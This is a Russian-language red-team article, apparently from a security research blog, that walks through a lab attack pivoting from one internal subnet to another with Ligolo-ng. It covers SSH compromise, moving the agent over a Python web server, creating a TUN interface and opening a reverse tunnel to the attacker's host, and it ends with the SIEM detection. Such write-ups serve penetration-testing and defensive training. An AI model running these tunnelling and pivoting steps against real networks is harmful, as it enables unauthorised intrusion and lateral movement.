Light mode

Утилиты red team: Ligolo-ng

  • #RedTeam

О чем статья

Продолжаем серию статей, посвященных утилитам red team для тестирования безопасности приложений. Сегодня рассмотрим пример атаки с использованием Ligolo-ng.

Ligolo-ng позволяет создавать туннели через обратные TCP/TLS-соединения с помощью TUN-интерфейса. В отличие от Ligolo/Chisel/Meterpreter, утилита не использует SOCKS и TCP/UDP-форвардеры, а создает пользовательский сетевой стек с помощью gVisor. При запуске relay/прокси-сервера применяется интерфейс TUN, а отправленные на него пакеты транслируются и передаются в удаленную сеть агента. 

Такая логика позволяет запускать инструменты вроде Nmap без использования прокси-цепочек — проще и быстрее. Как результат, утилита стала популярной не только среди пентестеров, но и в рядах злоумышленников. 

Особенности Ligolo-ng

  • Простой интерфейс с выбором агента и информацией о сети
  • Легкость в использовании и настройке
  • Автоматическая настройка сертификатов с помощью Let’s Encrypt
  • Производительность (мультиплексирование)
  • Не требует высоких привилегий
  • Прослушивание и привязка сокетов на агенте
  • Поддержка нескольких платформ для агента
  • Возможность работы с несколькими туннелями

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Авторы не несут ответственности за использование опубликованной информации. Помните, что нужно следить за защищенностью своих данных.

Тестовый стенд

Предположим, что в инфраструктуре компании есть внутренние сети 192.168.1.0/24 и 192.168.2.0/24. Конфигурируем стенд: добавляем для Debian 12 № 2 сетевой интерфейс ens4, выходящий в сеть 192.168.2.0/24, и подключаем его через этот интерфейс к новому коммутатору — Switch-3 (см. рис. 1–5).

Рисунок 1. Конфигурация сети
Рисунок 2. Интерфейс ens3
Рисунок 3. Интерфейс ens4
Рисунок 4. Конфигурация Switch-3
Рисунок 5. Конфигурация Kali Linux

Легенда

Представим, что злоумышленник подключился к коммутатору Switch-3 и ищет возможность проникнуть из сети 192.168.2.0/24 в сеть 192.168.1.0/24. При этом попытка прямого пинга не приносит результатов (см. рис. 6).

Рисунок 6. Неудачная попытка прямого пинга

Допустим, хакер узнал о том, что на Debian 12 стоит SSH-сервер с аутентификацией по паролю. Эта информация позволила ему скомпрометировать пароль и получить доступ к серверу (см. рис. 7).

Рисунок 7. Получаем доступ к серверу

Таким образом злоумышленник успешно проник во внутреннюю сеть компании. Для дальнейшего развития атаки он решил использовать Ligolo-ng, чтобы избежать обнаружения. Далее рассмотрим действия хакера от установки утилиты до создания туннеля.

Развиваем атаку

Для начала установим файлы Ligolo-ng — agent и proxy — на Kali Linux (см. рис. 8).

Рисунок 8. Установка файлов

Устанавливаем агент: wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.2/ligolo-ng_agent_0.5.2_linux_amd64.tar.gz

Рисунок 9. Установка агента

Устанавливаем прокси: wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.2/ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz

Рисунок 10. Установка прокси

Агент Ligolo-ng нужно передать на Debian 12, для этого воспользуемся веб-сервером Python: python3 -m http.server.

Рисунок 11. Запуск веб-сервера

После запуска веб-сервера на 8000 порте мы можем получить архив с агентом на Debian и распаковать его (см. рис. 12).

Рисунок 12. Скачиваем и распаковываем архив

Теперь, когда агент Ligolo-ng передан на узел компрометируемого устройства, на Kali нужно выполнить две команды с повышенными привилегиями для настройки туннельного интерфейса:

  1. sudo ip tuntap add user <Username> mode tun ligolo.
  2. sudo ip link set ligolo up.
Рисунок 13. Выполнение команд для настройки туннельного интерфейса

Используем команду ifconfig, чтобы подтвердить создание интерфейса (см. рис. 14).

Рисунок 14. Подтверждаем создание интерфейса 

Распаковываем прокси-файл ligolo-ng на Kali: tar -xvzf ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz.

Прокси-файл облегчает установку соединения через Ligolo-ng и позволяет нам выйти в другую сеть. Чтобы изучить все доступные опции, воспользуемся справочной командой: ./proxy -h.

Рисунок 15. Справочная команда 

Представленные на рис. 15 опции предназначены для подключения к прокси разных типов сертификатов. Воспользуемся командой -selfcert, которая работает на порте 11601: ./proxy -selfcert.

Рисунок 16. Выполняем команду -selfcert 

После этого прокси-файл начнет работать на Kali. Вводим команду для выполнения агента на компрометируемом устройстве: ./agent -connect 192.168.2.2:11601 -ignore-cert. Таким образом мы инициировали сеанс Ligolo-ng.

Рисунок 17. Соединение установлено
Рисунок 18. Инициируем сеанс Ligolo-ng

Затем используем команду session и выбираем «1» для доступа к активному сеансу. Следом выполняем ifconfig (см. рис. 19).

Рисунок 19. Выполняем команду ifconfig 

В результате мы узнаем о существовании на сервере внутренней сети с IPv4-адресом 192.168.1.0/24; попробуем создать через нее туннель.

Реализуем сценарий с поворотом в сеть 192.168.1.0/24. Нам нужно получить к ней доступ, оставаясь в границах сети 192.168.2.0/24. Отметим, что описанная выше попытка прямого пинга в 192.168.1.0/24 завершилась провалом из-за различий в конфигурации.

Для реализации поворота в отдельном окне консоли добавим новый маршрут на интерфейс Ligolo (см. рис. 20).

Рисунок 20. Добавляем новый маршрут

Возвращаемся в окно сеанса прокси-сервера, вводим start и запускаем процесс туннелирования (см. рис. 21).

Рисунок 21. Создаем туннель 

Получилось! Теперь мы можем пинговать сеть 192.168.1.0/24 (см. рис. 22).

Рисунок 22. Пинг сети 192.168.1.0/24
Рисунок 23. Схема атаки

После примечания Ligolo-ng мы можем просканировать сеть при помощи Nmap и продолжить развитие атаки.

Отметим, что наши действия не прошли незамеченными. SIEM-система зафиксировала странную активность на хосте 192.168.1.13: это видно по ее логам (см. рис. 24).

Рисунок 24. Логи в SIEM-системе

Мы дěлаем Positive Research → для ИБ-экспертов, бизнеса и всех, кто интересуется ✽ {кибербезопасностью}